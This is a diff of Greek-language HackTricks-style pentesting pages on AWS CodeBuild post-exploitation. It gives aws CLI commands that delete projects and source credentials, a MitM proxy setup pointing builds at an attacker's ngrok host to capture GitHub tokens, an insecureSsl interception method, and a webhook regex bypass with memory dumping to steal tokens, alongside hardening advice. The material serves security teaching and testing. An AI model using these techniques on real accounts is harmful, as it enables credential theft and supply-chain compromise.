diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md index a74744e81..8edbe2d17 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md @@ -4,43 +4,43 @@ ## CodeBuild -Για περισσότερες πληροφορίες, ελέγξτε: +Για περισσότερες πληροφορίες, δείτε: {{#ref}} ../../aws-services/aws-codebuild-enum.md {{#endref}} -### Έλεγχος Μυστικών +### Check Secrets -Εάν έχουν ρυθμιστεί διαπιστευτήρια στο Codebuild για σύνδεση με το Github, Gitlab ή Bitbucket με τη μορφή προσωπικών tokens, κωδικών πρόσβασης ή OAuth token access, αυτά τα **διαπιστευτήρια θα αποθηκευτούν ως μυστικά στον διαχειριστή μυστικών**.\ -Επομένως, εάν έχετε πρόσβαση για να διαβάσετε τον διαχειριστή μυστικών, θα μπορείτε να αποκτήσετε αυτά τα μυστικά και να μεταβείτε στην συνδεδεμένη πλατφόρμα. +Εάν credentials έχουν οριστεί στο Codebuild για σύνδεση σε Github, Gitlab ή Bitbucket με τη μορφή personal tokens, passwords ή OAuth token access, αυτά τα **credentials θα αποθηκευτούν ως secrets στο secret manager**.\ +Επομένως, αν έχετε πρόσβαση ανάγνωσης του secret manager, θα μπορείτε να αποκτήσετε αυτά τα secrets και να pivot στην συνδεδεμένη πλατφόρμα. {{#ref}} ../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md {{#endref}} -### Κατάχρηση Πρόσβασης Repo CodeBuild +### Abuse CodeBuild Repo Access -Για να ρυθμιστεί το **CodeBuild**, θα χρειαστεί **πρόσβαση στο repo κώδικα** που θα χρησιμοποιεί. Πολλές πλατφόρμες θα μπορούσαν να φιλοξενούν αυτόν τον κώδικα: +Για να διαμορφώσετε το **CodeBuild**, θα χρειαστεί **access στο code repo** που πρόκειται να χρησιμοποιήσει. Διάφορες πλατφόρμες μπορούν να φιλοξενούν αυτό το code:
-Το **project CodeBuild πρέπει να έχει πρόσβαση** στον ρυθμισμένο πάροχο πηγών, είτε μέσω **IAM role** είτε με ένα github/bitbucket **token ή OAuth access**. +Το **CodeBuild project πρέπει να έχει access** στον ρυθμισμένο source provider, είτε μέσω **IAM role** είτε με github/bitbucket **token ή OAuth access**. -Ένας επιτιθέμενος με **υψηλά δικαιώματα σε ένα CodeBuild** θα μπορούσε να καταχραστεί αυτήν την ρυθμισμένη πρόσβαση για να διαρρεύσει τον κώδικα του ρυθμισμένου repo και άλλων όπου τα ρυθμισμένα διαπιστευτήρια έχουν πρόσβαση.\ -Για να το κάνει αυτό, ένας επιτιθέμενος θα χρειαστεί απλώς να **αλλάξει το URL του αποθετηρίου σε κάθε repo που έχουν πρόσβαση τα ρυθμισμένα διαπιστευτήρια** (σημειώστε ότι η ιστοσελίδα aws θα τα παραθέσει όλα για εσάς): +Ένας attacker με **elevated permissions σε ένα CodeBuild** θα μπορούσε να abuse αυτή την configured πρόσβαση για να leak τον code του ρυθμισμένου repo και άλλων repo στα οποία τα set creds έχουν πρόσβαση.\ +Για να το κάνει αυτό, ένας attacker χρειάζεται απλώς να **αλλάξει το repository URL σε κάθε repo στο οποίο τα config credentials έχουν πρόσβαση** (σημειώστε ότι το aws web θα τα εμφανίσει όλα για εσάς):
-Και **να αλλάξει τις εντολές Buildspec για να εξάγει κάθε repo**. +Και να **αλλάξει τα Buildspec commands για να exfiltrate κάθε repo**. > [!WARNING] -> Ωστόσο, αυτή η **εργασία είναι επαναλαμβανόμενη και κουραστική** και εάν έχει ρυθμιστεί ένα github token με **δικαιώματα εγγραφής**, ένας επιτιθέμενος **δεν θα μπορέσει να (κατα)χρηστεί αυτά τα δικαιώματα** καθώς δεν έχει πρόσβαση στο token.\ -> Ή μήπως έχει; Ελέγξτε την επόμενη ενότητα +> Ωστόσο, αυτή η **εργασία είναι επαναλαμβανόμενη και κουραστική** και εάν ένας github token είχε ρυθμιστεί με **write permissions**, ένας attacker **δεν θα μπορεί να (ab)use αυτές τις permissions** καθώς δεν έχει πρόσβαση στο token.\ +> Ή μήπως έχει; Δείτε την επόμενη ενότητα -### Διαρροή Access Tokens από το AWS CodeBuild +### Leaking Access Tokens from AWS CodeBuild -Μπορείτε να διαρρεύσετε την πρόσβαση που δίνεται στο CodeBuild σε πλατφόρμες όπως το Github. Ελέγξτε αν έχει δοθεί οποιαδήποτε πρόσβαση σε εξωτερικές πλατφόρμες με: +Μπορείτε να leak την access που δίνεται στο CodeBuild σε πλατφόρμες όπως Github. Ελέγξτε αν δόθηκε κάποια πρόσβαση σε εξωτερικές πλατφόρμες με: ```bash aws codebuild list-source-credentials ``` @@ -48,29 +48,37 @@ aws codebuild list-source-credentials aws-codebuild-token-leakage.md {{#endref}} +### Αναξιόπιστη εκτέλεση PR μέσω λανθασμένης διαμόρφωσης φίλτρων webhook + +Εάν τα φίλτρα webhook είναι αδύναμα, εξωτερικοί επιτιθέμενοι μπορούν να κάνουν build τα PRs τους σε προνομιούχα CodeBuild projects και στη συνέχεια να εκτελέσουν αυθαίρετο κώδικα στο CI. + +{{#ref}} +aws-codebuild-untrusted-pr-webhook-bypass.md +{{#endref}} + ### `codebuild:DeleteProject` -Ένας επιτιθέμενος θα μπορούσε να διαγράψει ολόκληρο το έργο CodeBuild, προκαλώντας απώλεια της διαμόρφωσης του έργου και επηρεάζοντας τις εφαρμογές που βασίζονται στο έργο. +Ένας επιτιθέμενος θα μπορούσε να διαγράψει ολόκληρο ένα CodeBuild project, προκαλώντας απώλεια της διαμόρφωσης του project και επηρεάζοντας εφαρμογές που βασίζονται σε αυτό. ```bash aws codebuild delete-project --name ``` -**Πιθανές Επιπτώσεις**: Απώλεια διαμόρφωσης έργου και διακοπή υπηρεσιών για εφαρμογές που χρησιμοποιούν το διαγραμμένο έργο. +**Πιθανός Αντίκτυπος**: Απώλεια ρυθμίσεων του έργου και διακοπή υπηρεσίας για εφαρμογές που χρησιμοποιούν το διαγραμμένο έργο. ### `codebuild:TagResource` , `codebuild:UntagResource` -Ένας επιτιθέμενος θα μπορούσε να προσθέσει, να τροποποιήσει ή να αφαιρέσει ετικέτες από τους πόρους του CodeBuild, διαταράσσοντας την κατανομή κόστους της οργάνωσής σας, την παρακολούθηση πόρων και τις πολιτικές ελέγχου πρόσβασης με βάση τις ετικέτες. +Ένας επιτιθέμενος θα μπορούσε να προσθέσει, να τροποποιήσει ή να αφαιρέσει ετικέτες από πόρους του CodeBuild, διαταράσσοντας την κατανομή κόστους του οργανισμού σας, την παρακολούθηση πόρων και τις πολιτικές ελέγχου πρόσβασης που βασίζονται σε ετικέτες. ```bash aws codebuild tag-resource --resource-arn --tags aws codebuild untag-resource --resource-arn --tag-keys ``` -**Πιθανές Επιπτώσεις**: Διαταραχή της κατανομής κόστους, παρακολούθησης πόρων και πολιτικών ελέγχου πρόσβασης με βάση τις ετικέτες. +**Πιθανός αντίκτυπος**: Διαταραχή στην κατανομή κόστους, στην παρακολούθηση πόρων και στις πολιτικές ελέγχου πρόσβασης βάσει tag. ### `codebuild:DeleteSourceCredentials` -Ένας επιτιθέμενος θα μπορούσε να διαγράψει τα διαπιστευτήρια πηγής για ένα Git αποθετήριο, επηρεάζοντας τη φυσιολογική λειτουργία των εφαρμογών που βασίζονται στο αποθετήριο. +Ένας επιτιθέμενος θα μπορούσε να διαγράψει τα source credentials για ένα Git repository, επηρεάζοντας τη σωστή λειτουργία των εφαρμογών που βασίζονται σε αυτό το repository. ```sql aws codebuild delete-source-credentials --arn ``` -**Πιθανές Επιπτώσεις**: Διακοπή της κανονικής λειτουργίας για εφαρμογές που βασίζονται στο επηρεαζόμενο αποθετήριο λόγω της αφαίρεσης των διαπιστευτηρίων πηγής. +**Πιθανές επιπτώσεις**: Διακοπή της ομαλής λειτουργίας των εφαρμογών που εξαρτώνται από το επηρεασμένο repository λόγω της αφαίρεσης των source credentials. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index 10bf14597..fba6e842f 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -2,32 +2,32 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Recover Github/Bitbucket Configured Tokens +## Ανάκτηση Github/Bitbucket Διαμορφωμένων Tokens -Πρώτα, έλεγξε αν υπάρχουν source credentials configured που θα μπορούσες να leak: +Πρώτα, έλεγξε αν υπάρχουν διαμορφωμένα διαπιστευτήρια πηγής που θα μπορούσες να leak: ```bash aws codebuild list-source-credentials ``` ### Μέσω Docker Image -Αν βρείτε ότι η αυθεντικοποίηση για παράδειγμα στο Github είναι ρυθμισμένη στον λογαριασμό, μπορείτε να **exfiltrate** εκείνη την **πρόσβαση** (**GH token or OAuth token**) αναγκάζοντας το Codebuild να **χρησιμοποιήσει μια συγκεκριμένη Docker image** για να τρέξει το build του έργου. +Αν διαπιστώσετε ότι υπάρχει authentication, για παράδειγμα για Github, στον λογαριασμό, μπορείτε να **exfiltrate** εκείνη την **access** (**GH token or OAuth token**) αναγκάζοντας το Codebuild να **use an specific docker image** για να εκτελέσει το build του project. -Για αυτόν τον σκοπό μπορείτε να **δημιουργήσετε ένα νέο Codebuild project** ή να αλλάξετε το **περιβάλλον** ενός υπάρχοντος για να ορίσετε την **Docker image**. +Για αυτόν τον σκοπό μπορείτε να **create a new Codebuild project** ή να αλλάξετε το **environment** ενός υπάρχοντος για να ορίσετε την **Docker image**. -Η Docker image που μπορείτε να χρησιμοποιήσετε είναι [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Πρόκειται για μια πολύ βασική Docker image που θα ορίσει τις **μεταβλητές περιβάλλοντος `https_proxy`**, **`http_proxy`** και **`SSL_CERT_FILE`**. Αυτό θα σας επιτρέψει να υποκλέψετε το μεγαλύτερο μέρος της κίνησης προς τον host που υποδεικνύεται στις **`https_proxy`** και **`http_proxy`** και να εμπιστευτείτε το SSL CERT που υποδεικνύεται στο **`SSL_CERT_FILE`**. +The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Πρόκειται για ένα πολύ βασικό Docker image που θα ορίσει τις **env variables `https_proxy`**, **`http_proxy`** και **`SSL_CERT_FILE`**. Αυτό θα σας επιτρέψει να υποκλέψετε το μεγαλύτερο μέρος της κίνησης (traffic) προς τον host που υποδεικνύεται στα **`https_proxy`** και **`http_proxy`** και να εμπιστευτείτε το SSL CERT που υποδεικνύεται στο **`SSL_CERT_FILE`**. -1. **Δημιουργήστε & Ανεβάστε τη δική σας Docker MitM image** -- Ακολουθήστε τις οδηγίες του repo για να ορίσετε τη διεύθυνση IP του proxy σας και το SSL cert και να **χτίσετε την Docker image**. -- **DO NOT SET `http_proxy`** ώστε να μην υποκλέπτονται αιτήσεις προς το metadata endpoint. -- Μπορείτε να χρησιμοποιήσετε το **`ngrok`** όπως `ngrok tcp 4444` για να ορίσετε τον proxy στον host σας -- Μόλις έχετε την Docker image χτισμένη, **ανεβάστε την σε ένα δημόσιο repo** (Dockerhub, ECR...) -2. **Ρυθμίστε το περιβάλλον** -- Δημιουργήστε ένα **νέο Codebuild project** ή **τροποποιήστε** το περιβάλλον ενός υπάρχοντος. -- Ορίστε το project να χρησιμοποιεί την **προηγουμένως δημιουργημένη Docker image** +1. **Create & Upload your own Docker MitM image** +- Ακολουθήστε τις οδηγίες του repo για να ορίσετε τη διεύθυνση IP του proxy σας, να τοποθετήσετε το SSL cert και να **build the docker image**. +- **DO NOT SET `http_proxy`** ώστε να μην υποκλέπτονται τα αιτήματα προς το metadata endpoint. +- Μπορείτε να χρησιμοποιήσετε **`ngrok`** όπως `ngrok tcp 4444` για να ορίσετε τον proxy στον host σας +- Μόλις έχετε το Docker image έτοιμο, **upload it to a public repo** (Dockerhub, ECR...) +2. **Set the environment** +- Δημιουργήστε ένα **new Codebuild project** ή **modify** το περιβάλλον ενός υπάρχοντος. +- Ρυθμίστε το project ώστε να χρησιμοποιεί την **previously generated Docker image**
-3. **Ορίστε τον MitM proxy στον host σας** +3. **Set the MitM proxy in your host** - Όπως υποδεικνύεται στο **Github repo** μπορείτε να χρησιμοποιήσετε κάτι σαν: ```bash @@ -36,13 +36,13 @@ mitmproxy --listen-port 4444 --allow-hosts "github.com" > [!TIP] > Η **έκδοση του mitmproxy που χρησιμοποιήθηκε ήταν 9.0.1**, αναφέρθηκε ότι με την έκδοση 10 αυτό ίσως να μην λειτουργεί. -4. **Εκτελέστε το build & καταγράψτε τα credentials** +4. **Εκτελέστε το build & capture the credentials** -- Μπορείτε να δείτε το token στην κεφαλίδα **Authorization**: +- Μπορείτε να δείτε το token στην **Authorization** κεφαλίδα:
-Αυτό μπορεί επίσης να γίνει από το aws cli με κάτι όπως +Αυτό μπορεί επίσης να γίνει από το aws cli με κάτι σαν ```bash # Create project using a Github connection aws codebuild create-project --cli-input-json file:///tmp/buildspec.json @@ -73,15 +73,15 @@ aws codebuild start-build --project-name my-project2 ``` ### Μέσω insecureSSL -**Codebuild** έργα έχουν μια ρύθμιση που ονομάζεται **`insecureSsl`** η οποία είναι κρυμμένη στο web και μπορείς να την αλλάξεις μόνο από το API.\ -Ενεργοποίηση αυτού επιτρέπει στο **Codebuild** να συνδεθεί στο αποθετήριο **χωρίς να ελέγξει το πιστοποιητικό** που προσφέρει η πλατφόρμα. +Τα projects του **Codebuild** έχουν μια ρύθμιση που ονομάζεται **`insecureSsl`** που είναι κρυμμένη στο web και μπορείς να την αλλάξεις μόνο μέσω του API.\ +Η ενεργοποίηση αυτής επιτρέπει στο **Codebuild** να συνδεθεί στο αποθετήριο **χωρίς να ελέγχει το πιστοποιητικό** που παρέχει η πλατφόρμα. - Πρώτα πρέπει να απαριθμήσεις την τρέχουσα διαμόρφωση με κάτι σαν: ```bash aws codebuild batch-get-projects --name ``` -- Στη συνέχεια, με τις συλλεγμένες πληροφορίες μπορείτε να ενημερώσετε την ρύθμιση του project **`insecureSsl`** σε **`True`**. Το ακόλουθο είναι ένα παράδειγμα ενημέρωσης project από εμένα — προσέξτε το **`insecureSsl=True`** στο τέλος (αυτό είναι το μόνο που χρειάζεται να αλλάξετε από τη συλλεγμένη διαμόρφωση). -- Επιπλέον, προσθέστε και τις μεταβλητές περιβάλλοντος **http_proxy** και **https_proxy** που δείχνουν στο tcp ngrok σας ως εξής: +- Έπειτα, με τις συγκεντρωμένες πληροφορίες μπορείτε να ενημερώσετε την ρύθμιση του project **`insecureSsl`** σε **`True`**. Το παρακάτω είναι ένα παράδειγμα της ενημέρωσής μου ενός project — προσέξτε το **`insecureSsl=True`** στο τέλος (αυτό είναι το μόνο που χρειάζεται να αλλάξετε από τη συγκεντρωμένη διαμόρφωση). +- Επιπλέον, προσθέστε επίσης τις env μεταβλητές **http_proxy** και **https_proxy** που δείχνουν στο tcp ngrok σας όπως: ```bash aws codebuild update-project --name \ --source '{ @@ -115,7 +115,7 @@ aws codebuild update-project --name \ ] }' ``` -- Έπειτα, τρέξτε το βασικό παράδειγμα από [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) στη θύρα που υποδεικνύουν οι μεταβλητές proxy (http_proxy και https_proxy) +- Στη συνέχεια, εκτελέστε το βασικό παράδειγμα από [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) στη θύρα που υποδεικνύουν οι μεταβλητές proxy (http_proxy και https_proxy) ```python from mitm import MITM, protocol, middleware, crypto @@ -128,24 +128,24 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Τέλος, κάντε κλικ στο **Build the project**, οι **credentials** θα σταλούν σε **clear text** (base64) στην mitm port: +- Τέλος, κάντε κλικ στο **Build the project**, οι **credentials** θα **σταλούν σε clear text** (base64) στην mitm port:
-### ~~Μέσω του πρωτοκόλλου HTTP~~ +### ~~Μέσω HTTP πρωτοκόλλου~~ > [!TIP] > **This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)** -Ένας attacker με **elevated permissions σε ένα CodeBuild θα μπορούσε να leak το Github/Bitbucket token** που έχει ρυθμιστεί ή αν τα permissions είχαν ρυθμιστεί μέσω OAuth, το **temporary OAuth token used to access the code**. +Ένας attacker με **elevated permissions** σε ένα CodeBuild θα μπορούσε να leak το Github/Bitbucket token που έχει διαμορφωθεί ή, εάν τα permissions ήταν ρυθμισμένα μέσω OAuth, το **temporary OAuth token used to access the code**. -- Ένας attacker θα μπορούσε να προσθέσει τις environment variables **http_proxy** και **https_proxy** στο CodeBuild project δείχνοντάς τες στη μηχανή του (για παράδειγμα `http://5.tcp.eu.ngrok.io:14972`). +- Ένας attacker θα μπορούσε να προσθέσει τις environment variables **http_proxy** και **https_proxy** στο CodeBuild project δείχνοντας στο μηχάνημά του (για παράδειγμα `http://5.tcp.eu.ngrok.io:14972`).
-- Στη συνέχεια, αλλάξτε το URL του github repo ώστε να χρησιμοποιεί HTTP αντί για HTTPS, για παράδειγμα: `http://github.com/carlospolop-forks/TestActions` -- Τέλος, τρέξτε το βασικό παράδειγμα από [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) στην πόρτα που δείχνουν οι μεταβλητές proxy (http_proxy και https_proxy) +- Έπειτα, αλλάξτε το URL του github repo ώστε να χρησιμοποιεί HTTP αντί για HTTPS, για παράδειγμα: `http://github.com/carlospolop-forks/TestActions` +- Έπειτα, τρέξτε το βασικό παράδειγμα από [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) στην port που δείχνουν οι proxy variables (http_proxy και https_proxy) ```python from mitm import MITM, protocol, middleware, crypto @@ -158,32 +158,23 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Στη συνέχεια, κάντε κλικ στο **Δημιουργία έργου** ή ξεκινήστε την κατασκευή από τη γραμμή εντολών: +- Στη συνέχεια, κάντε κλικ στο **Κατασκευή του έργου** ή ξεκινήστε το build από τη γραμμή εντολών: ```sh aws codebuild start-build --project-name ``` -- Τέλος, τα **διαπιστευτήρια** θα **αποστέλλονται σε απλό κείμενο** (base64) στην πόρτα mitm: +- Τέλος, τα **διαπιστευτήρια** θα **αποσταλούν σε απλό κείμενο** (base64) στην θύρα mitm:
> [!WARNING] -> Τώρα ένας επιτιθέμενος θα μπορεί να χρησιμοποιήσει το token από τη μηχανή του, να απαριθμήσει όλα τα προνόμια που έχει και να τα (κακο)χρησιμοποιήσει πιο εύκολα απ' ό,τι χρησιμοποιώντας απευθείας την υπηρεσία CodeBuild. +> Τώρα ο επιτιθέμενος θα μπορεί να χρησιμοποιήσει το token από το μηχάνημά του, να απαριθμήσει όλα τα προνόμια που διαθέτει και να τα (κακο)χρησιμοποιήσει πιο εύκολα σε σχέση με την απευθείας χρήση της υπηρεσίας CodeBuild. -## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds) +## Untrusted PR execution via webhook filter misconfiguration -Κακώς διαμορφωμένα CodeBuild GitHub webhooks που χρησιμοποιούν μη-αγκυρωμένα `ACTOR_ID` regexes επιτρέπουν σε *untrusted* PRs να ξεκινήσουν privileged builds. Αν η allowlist είναι όπως `123456|7890123` χωρίς `^`/`$`, κάθε ID που περιέχει μία από αυτές τις υποσυμβολοσειρές ταιριάζει. Εφόσον τα GitHub user IDs είναι διαδοχικά, ένας επιτιθέμενος μπορεί να ανταγωνιστεί για να εγγράψει ένα “eclipsing” ID (ένα superstring ενός εμπιστευμένου ID) και να πυροδοτήσει το build. +Για την PR-triggered webhook bypass chain (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution), δείτε: -**Exploit path** - -1. Βρείτε δημόσια CodeBuild projects που εκθέτουν webhook filters και εξάγετε μια μη-αγκυρωμένη `ACTOR_ID` allowlist. -2. Αποκτήστε ένα eclipsing GitHub ID: -- Δειγματοληπτήστε τον global ID counter δημιουργώντας/διαγράφοντας GitHub orgs (org IDs μοιράζονται την ίδια pool). -- Προ-τοποθετήστε πολλές δημιουργίες GitHub App manifests και ενεργοποιήστε τα confirmation URLs όταν ο μετρητής είναι εντός ~100 IDs από τον στόχο για να εγγράψετε μαζικά ένα bot ID που περιέχει το εμπιστευμένο υποσύνολο. -3. Ανοίξτε ένα PR από τον eclipsing λογαριασμό· το regex ταιριάζει το υποσύνολο και το privileged build εκτελείται. -4. Χρησιμοποιήστε build RCE (π.χ. dependency install hooks) για να εξάγετε τη μνήμη της διεργασίας που χειρίζεται το GitHub credential και να ανακτήσετε το PAT/OAuth token. -5. Με το `repo` scope του token, προσκαλέστε τον λογαριασμό σας ως collaborator/admin και κάντε push/approve κακόβουλων commits ή εξαγάγετε secrets. - -## References -- [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild) +{{#ref}} +aws-codebuild-untrusted-pr-webhook-bypass.md +{{#endref}} {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-untrusted-pr-webhook-bypass.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-untrusted-pr-webhook-bypass.md new file mode 100644 index 000000000..ec6a20d76 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-untrusted-pr-webhook-bypass.md @@ -0,0 +1,235 @@ +# AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style) + +{{#include ../../../../banners/hacktricks-training.md}} + +Αυτό το διάνυσμα επίθεσης εμφανίζεται όταν μια δημόσια PR workflow είναι συνδεδεμένη με ένα προνομιούχο CodeBuild project με αδύναμους ελέγχους webhook. + +Αν ένας εξωτερικός επιτιθέμενος μπορεί να κάνει το CodeBuild να εκτελέσει το pull request του, συνήθως μπορεί να αποκτήσει **αυθαίρετη εκτέλεση κώδικα μέσα στο build** (build scripts, dependency hooks, test scripts, κ.λπ.), και στη συνέχεια να μεταβεί σε μυστικά, IAM credentials, ή διαπιστευτήρια παρόχου πηγής. + +## Why this is dangerous + +Οι φίλτροι webhook του CodeBuild αξιολογούνται με μοτίβα regex (για φίλτρα εκτός `EVENT`). Στο φίλτρο `ACTOR_ACCOUNT_ID`, αυτό σημαίνει ότι ένα αδύναμο μοτίβο μπορεί να ταιριάξει περισσότερους χρήστες από όσους προβλεπόταν. +Αν μη αξιόπιστα PRs χτίζονται σε ένα project που έχει προνομιούχες AWS role άδειες ή GitHub credentials, αυτό μπορεί να μετατραπεί σε πλήρη συμβιβασμό της supply-chain. + +Η Wiz έδειξε ένα πρακτικό σενάριο όπου: + +1. Μια allowlist actor του webhook χρησιμοποίησε ένα **μη-αγκυρωμένο regex**. +2. Ένας επιτιθέμενος εγγράφηκε με ένα GitHub ID που ταίριαζε ως **superstring** ενός αξιόπιστου ID. +3. Ένα κακόβουλο PR προκάλεσε το CodeBuild. +4. Η εκτέλεση κώδικα στο build χρησιμοποιήθηκε για dump μνήμης και ανάκτηση source-provider διαπιστευτηρίων/tokens. + +## Misconfigurations that allow external PR code execution + +Τα ακόλουθα είναι λάθη υψηλού κινδύνου και πώς οι επιτιθέμενοι τα εκμεταλλεύονται: + +1. **`EVENT` filters allow untrusted triggers** +- Κοινά επικίνδυνα events: `PULL_REQUEST_CREATED`, `PULL_REQUEST_UPDATED`, `PULL_REQUEST_REOPENED`. +- Άλλα events που μπορούν επίσης να γίνουν επικίνδυνα αν συνδεθούν με προνομιούχα builds: `PUSH`, `PULL_REQUEST_CLOSED`, `PULL_REQUEST_MERGED`, `RELEASED`, `PRERELEASED`, `WORKFLOW_JOB_QUEUED`. +- Bad: `EVENT="PUSH, PULL_REQUEST_CREATED, PULL_REQUEST_UPDATED"` σε ένα privileged project. +- Better: χρησιμοποιήστε έγκριση σχολίου PR και ελαχιστοποιήστε τα trigger events για προνομιούχα projects. +- Abuse: ο επιτιθέμενος ανοίγει/ενημερώνει PR ή κάνει push σε ένα branch που ελέγχει, και ο κώδικάς του εκτελείται στο CodeBuild. + +2. **`ACTOR_ACCOUNT_ID` regex is weak** +- Bad: μη-αγκυρωμένα μοτίβα όπως `123456|7890123`. +- Better: ακριβής αντιστοίχιση με αγκύρωση `^(123456|7890123)$`. +- Abuse: το υπερ-ταίριασμα regex επιτρέπει σε μη εξουσιοδοτημένα GitHub IDs να περάσουν τις allowlists. + +3. **Other regex filters are weak or missing** +- `HEAD_REF` + - Bad: `refs/heads/.*` + - Better: `^refs/heads/main$` (ή ρητή λίστα αξιόπιστων) +- `BASE_REF` + - Bad: `.*` + - Better: `^refs/heads/main$` +- `FILE_PATH` + - Bad: έλλειψη περιορισμών διαδρομών + - Better: αποκλείστε επικίνδυνα αρχεία όπως `^buildspec\\.yml$`, `^\\.github/workflows/.*`, `(^|/)package(-lock)?\\.json$` +- `COMMIT_MESSAGE` + - Bad: εμπιστοσύνη σε δείκτη με χαλαρό ταίριασμα όπως `trusted` + - Better: μη χρησιμοποιείτε το commit message ως όριο εμπιστοσύνης για την εκτέλεση PR +- `REPOSITORY_NAME` / `ORGANIZATION_NAME` + - Bad: `.*` σε org/global webhooks + - Better: μόνο ακριβείς matches για repo/org +- `WORKFLOW_NAME` + - Bad: `.*` + - Better: μόνο ακριβή matches ονόματος workflow (ή αποφύγετε αυτό ως έλεγχο εμπιστοσύνης) +- Abuse: ο επιτιθέμενος διαμορφώνει ref/path/message/repo context ώστε να ικανοποιήσει το επιτρεπτικό regex και να ενεργοποιήσει builds. + +4. **`excludeMatchedPattern` is misused** +- Η λανθασμένη ρύθμιση αυτής της σημαίας μπορεί να αντιστρέψει την επιδιωκόμενη λογική. +- Bad: `FILE_PATH '^buildspec\\.yml$'` με `excludeMatchedPattern=false` όταν η πρόθεση ήταν να μπλοκαριστούν αλλαγές στο buildspec. +- Better: ίδιο μοτίβο με `excludeMatchedPattern=true` για να απορριφθούν τα builds που αγγίζουν το `buildspec.yml`. +- Abuse: οι υπεύθυνοι πιστεύουν ότι απορρίπτουν επικίνδυνα events/paths/actors, αλλά στην πραγματικότητα τα επιτρέπουν. + +5. **Multiple `filterGroups` create accidental bypasses** +- Το CodeBuild αξιολογεί ομάδες ως OR (ένα περασμένο group είναι αρκετό). +- Bad: μια αυστηρή ομάδα + μια επιεικής fallback ομάδα (π.χ., μόνο `EVENT=PULL_REQUEST_UPDATED`). +- Better: αφαιρέστε fallback groups που δεν επιβάλλουν περιορισμούς actor/ref/path. +- Abuse: ο επιτιθέμενος χρειάζεται μόνο να ικανοποιήσει την ασθενέστερη ομάδα. + +6. **Comment approval gate disabled or too permissive** +- `pullRequestBuildPolicy.requiresCommentApproval=DISABLED` είναι η λιγότερο ασφαλής επιλογή. +- Πολύ ευρείς ρόλοι εγκρίνοντων μειώνουν τον έλεγχο. +- Bad: `requiresCommentApproval=DISABLED`. +- Better: `ALL_PULL_REQUESTS` ή `FORK_PULL_REQUESTS` με ελάχιστους ρόλους εγκρίνοντων. +- Abuse: fork/drive-by PRs τρέχουν αυτόματα χωρίς έγκριση αξιόπιστου maintainer. + +7. **No restrictive branch/path strategy for PR builds** +- Έλλειψη defense-in-depth με `HEAD_REF` + `BASE_REF` + `FILE_PATH`. +- Bad: μόνο `EVENT` + `ACTOR_ACCOUNT_ID`, χωρίς έλεγχο ref/path. +- Better: συνδυάστε ακριβείς `ACTOR_ACCOUNT_ID` + `BASE_REF` + `HEAD_REF` + `FILE_PATH` περιορισμούς. +- Abuse: ο επιτιθέμενος τροποποιεί εισόδους build (buildspec/CI/dependencies) και αποκτά αυθαίρετη εκτέλεση εντολών. + +8. **Public visibility + status URL exposure** +- Δημόσια URLs build/check βελτιώνουν την αναγνώριση και τη διαδοχική δοκιμή από τον επιτιθέμενο. +- Bad: `projectVisibility=PUBLIC_READ` με ευαίσθητα logs/config σε δημόσια builds. +- Better: κρατήστε τα projects ιδιωτικά εκτός αν υπάρχει ισχυρός επιχειρηματικός λόγος, και κάντε sanitize logs/artifacts. +- Abuse: ο επιτιθέμενος ανακαλύπτει μοτίβα/συμπεριφορές project και στη συνέχεια βελτιώνει payloads και προσπάθειες bypass. + +## Token leakage from memory + +Το write-up της Wiz εξηγεί ότι τα διαπιστευτήρια παρόχου πηγής υπάρχουν στο runtime context του build και μπορούν να κλαπούν μετά από συμβιβασμό του build (π.χ. μέσω memory dumping), επιτρέποντας takeover του αποθετηρίου αν τα scopes είναι ευρεία. + +Η AWS εισήγαγε hardening μετά την αποκάλυψη, αλλά το βασικό μάθημα παραμένει: **ποτέ μην εκτελείτε μη αξιόπιστο κώδικα PR σε προνομιούχα build contexts** και θεωρήστε ότι ο κώδικας που ελέγχεται από επιτιθέμενο θα προσπαθήσει να κλέψει διαπιστευτήρια. + +Για πρόσθετες τεχνικές κλοπής διαπιστευτηρίων στο CodeBuild, δείτε επίσης: + +{{#ref}} +aws-codebuild-token-leakage.md +{{#endref}} + +## Finding CodeBuild URLs in GitHub PRs + +Αν το CodeBuild αναφέρει το status ενός commit πίσω στο GitHub, το CodeBuild build URL συνήθως εμφανίζεται σε: + +1. **PR page** -> **Checks** tab (ή η γραμμή κατάστασης στην Conversation/Commits). +2. **Commit page** -> status/checks section -> 